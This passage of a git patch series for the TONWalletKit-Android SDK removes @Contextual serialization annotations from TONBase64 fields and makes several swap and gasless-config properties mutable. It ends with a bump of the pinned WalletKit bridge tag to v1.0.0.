a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNftTransferItem.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNftTransferItem.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -63,13 +62,13 @@ data class TONNftTransferItem( @SerialName(value = "responseDestination") var responseDestination: kotlin.String? = null, - @Contextual @SerialName(value = "customPayload") + @SerialName(value = "customPayload") var customPayload: io.ton.walletkit.model.TONBase64? = null, @SerialName(value = "forwardAmount") var forwardAmount: kotlin.String? = null, - @Contextual @SerialName(value = "forwardPayload") + @SerialName(value = "forwardPayload") var forwardPayload: io.ton.walletkit.model.TONBase64? = null, @SerialName("type") val type: kotlin.String = "nft", diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONProofMessage.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONProofMessage.kt index 1393e8e5..0aa357a9 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONProofMessage.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONProofMessage.kt @@ -65,7 +65,7 @@ data class TONProofMessage( @SerialName(value = "payload") var payload: kotlin.String, - @Contextual @SerialName(value = "stateInit") + @SerialName(value = "stateInit") var stateInit: io.ton.walletkit.model.TONBase64, @Contextual @SerialName(value = "signature") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionApprovalResponse.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionApprovalResponse.kt index c8524669..388153f7 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionApprovalResponse.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionApprovalResponse.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -41,7 +40,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONSendTransactionApprovalResponse( - @Contextual @SerialName(value = "signedBoc") + @SerialName(value = "signedBoc") var signedBoc: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionResponse.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionResponse.kt index 5272bf89..6e11145d 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionResponse.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionResponse.kt @@ -43,10 +43,10 @@ import kotlinx.serialization.Serializable @Serializable data class TONSendTransactionResponse( - @Contextual @SerialName(value = "boc") + @SerialName(value = "boc") var boc: io.ton.walletkit.model.TONBase64, - @Contextual @SerialName(value = "normalizedBoc") + @SerialName(value = "normalizedBoc") var normalizedBoc: io.ton.walletkit.model.TONBase64, @Contextual @SerialName(value = "normalizedHash") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataBinary.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataBinary.kt index fb8f2c81..a19c6f72 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataBinary.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataBinary.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -41,7 +40,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONSignDataBinary( - @Contextual @SerialName(value = "content") + @SerialName(value = "content") var content: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataCell.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataCell.kt index 1d837b5f..a90ce968 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataCell.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataCell.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -46,7 +45,7 @@ data class TONSignDataCell( @SerialName(value = "schema") var schema: kotlin.String, - @Contextual @SerialName(value = "content") + @SerialName(value = "content") var content: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewBinary.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewBinary.kt index 7440a895..fc922837 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewBinary.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewBinary.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -41,7 +40,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONSignDataPreviewBinary( - @Contextual @SerialName(value = "content") + @SerialName(value = "content") var content: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewCell.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewCell.kt index 29d6c00d..ce1b35e4 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewCell.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewCell.kt @@ -47,7 +47,7 @@ data class TONSignDataPreviewCell( @SerialName(value = "schema") var schema: kotlin.String, - @Contextual @SerialName(value = "content") + @SerialName(value = "content") var content: io.ton.walletkit.model.TONBase64, @Contextual @SerialName(value = "parsed") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignMessageApprovalResponse.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignMessageApprovalResponse.kt index 44a1b8b1..f075715d 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignMessageApprovalResponse.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignMessageApprovalResponse.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -41,7 +40,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONSignMessageApprovalResponse( - @Contextual @SerialName(value = "internalBoc") + @SerialName(value = "internalBoc") var internalBoc: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapParams.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapParams.kt index 51b08a6c..2600cbe4 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapParams.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapParams.kt @@ -51,9 +51,9 @@ data class TONSwapParams( @SerialName("destinationAddress") var destinationAddress: io.ton.walletkit.model.TONUserFriendlyAddress? = null, @SerialName("slippageBps") - val slippageBps: kotlin.Int? = null, + var slippageBps: kotlin.Int? = null, @SerialName("deadline") - val deadline: kotlin.Int? = null, + var deadline: kotlin.Int? = null, @SerialName("providerOptions") var providerOptions: TProviderOptions? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapQuoteParams.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapQuoteParams.kt index bce4aaf5..6d020d4e 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapQuoteParams.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapQuoteParams.kt @@ -54,9 +54,9 @@ data class TONSwapQuoteParams( @SerialName("network") var network: TONNetwork, @SerialName("slippageBps") - val slippageBps: kotlin.Int? = null, + var slippageBps: kotlin.Int? = null, @SerialName("maxOutgoingMessages") - val maxOutgoingMessages: kotlin.Int? = null, + var maxOutgoingMessages: kotlin.Int? = null, @SerialName("providerOptions") var providerOptions: TProviderOptions? = null, @SerialName("isReverseSwap") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessChainConfig.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessChainConfig.kt index e67d0f89..11a6f12c 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessChainConfig.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessChainConfig.kt @@ -42,11 +42,11 @@ data class TONTonApiGaslessChainConfig( /* TonAPI REST endpoint override for this chain (defaults to TonAPI's per-network host). */ @SerialName(value = "endpoint") - val endpoint: kotlin.String? = null, + var endpoint: kotlin.String? = null, /* Bearer token used for this chain's TonAPI calls. */ @SerialName(value = "apiKey") - val apiKey: kotlin.String? = null, + var apiKey: kotlin.String? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessProviderConfig.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessProviderConfig.kt index 837cc0be..fcca21b4 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessProviderConfig.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessProviderConfig.kt @@ -48,31 +48,31 @@ data class TONTonApiGaslessProviderConfig( /* Per-chain settings keyed by `Network#chainId`. */ @Contextual @SerialName(value = "chains") - val chains: kotlin.collections.Map? = null, + var chains: kotlin.collections.Map? = null, /* Provider id. Defaults to `tonapi`. */ @SerialName(value = "providerId") - val providerId: kotlin.String? = null, + var providerId: kotlin.String? = null, /* Number of send retries on transient errors. Defaults to 5. */ @SerialName(value = "sendRetries") - val sendRetries: kotlin.Int? = null, + var sendRetries: kotlin.Int? = null, /* Delay between send retries in ms. Defaults to 1000. */ @SerialName(value = "sendRetryDelayMs") - val sendRetryDelayMs: kotlin.Int? = null, + var sendRetryDelayMs: kotlin.Int? = null, /* Number of quote retries on transient errors (5xx / network). Defaults to 5. */ @SerialName(value = "quoteRetries") - val quoteRetries: kotlin.Int? = null, + var quoteRetries: kotlin.Int? = null, /* Fixed delay between quote retries in ms. Defaults to 1000. */ @SerialName(value = "quoteRetryDelayMs") - val quoteRetryDelayMs: kotlin.Int? = null, + var quoteRetryDelayMs: kotlin.Int? = null, /* TTL for the in-memory `/v2/gasless/config` cache (ms). Defaults to 5 minutes. Set to `0` to disable caching. */ @SerialName(value = "configCacheTtlMs") - val configCacheTtlMs: kotlin.Int? = null, + var configCacheTtlMs: kotlin.Int? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonTransferItem.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonTransferItem.kt index 20c95cd8..e769785e 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonTransferItem.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonTransferItem.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -51,10 +50,10 @@ data class TONTonTransferItem( @SerialName(value = "amount") var amount: kotlin.String, - @Contextual @SerialName(value = "payload") + @SerialName(value = "payload") var payload: io.ton.walletkit.model.TONBase64? = null, - @Contextual @SerialName(value = "stateInit") + @SerialName(value = "stateInit") var stateInit: io.ton.walletkit.model.TONBase64? = null, /* Map of extra currency IDs to their amounts. Extra currencies are additional tokens that can be attached to TON messages. */ diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionMessageContent.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionMessageContent.kt index 24528e81..b1a76c8a 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionMessageContent.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionMessageContent.kt @@ -47,7 +47,7 @@ data class TONTransactionMessageContent( @SerialName(value = "hash") var hash: kotlin.String? = null, - @Contextual @SerialName(value = "body") + @SerialName(value = "body") var body: io.ton.walletkit.model.TONBase64? = null, /* The decoded metadata from the initial state body */ diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionRequestMessage.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionRequestMessage.kt index d259b301..a39ec6ef 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionRequestMessage.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransactionRequestMessage.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -60,10 +59,10 @@ data class TONTransactionRequestMessage( @SerialName(value = "extraCurrency") var extraCurrency: kotlin.collections.Map? = null, - @Contextual @SerialName(value = "stateInit") + @SerialName(value = "stateInit") var stateInit: io.ton.walletkit.model.TONBase64? = null, - @Contextual @SerialName(value = "payload") + @SerialName(value = "payload") var payload: io.ton.walletkit.model.TONBase64? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransferRequest.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransferRequest.kt index 00e9b3c7..beade7e8 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransferRequest.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTransferRequest.kt @@ -30,7 +30,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 import io.ton.walletkit.model.TONUserFriendlyAddress -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -61,10 +60,10 @@ data class TONTransferRequest( @SerialName(value = "extraCurrency") var extraCurrency: kotlin.collections.Map? = null, - @Contextual @SerialName(value = "stateInit") + @SerialName(value = "stateInit") var stateInit: io.ton.walletkit.model.TONBase64? = null, - @Contextual @SerialName(value = "payload") + @SerialName(value = "payload") var payload: io.ton.walletkit.model.TONBase64? = null, /* Human-readable text comment attached to the transfer */ From 735f4facc6f7f61f4e885b179fe3ed802e866286 Mon Sep 17 00:00:00 2001 From: Dmitrii Nikulin Date: Tue, 16 Jun 2026 11:59:30 +0300 Subject: [PATCH 10/10] chore: bump WALLETKIT_BRIDGE_TAG --- TONWalletKit-Android/gradle.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/TONWalletKit-Android/gradle.properties b/TONWalletKit-Android/gradle.properties index 4eab9b05..31f1b307 100644 --- a/TONWalletKit-Android/gradle.properties +++ b/TONWalletKit-Android/gradle.properties @@ -9,4 +9,4 @@ POM_ARTIFACT_ID=walletkit # Pinned kit tag for the committed WalletKit bridge bundle. CI verifies the bundle matches a # build of this tag; bump it by hand, then rebuild and recommit the bundle. -WALLETKIT_BRIDGE_TAG=v1.0.0-alpha.3 +WALLETKIT_BRIDGE_TAG=v1.0.0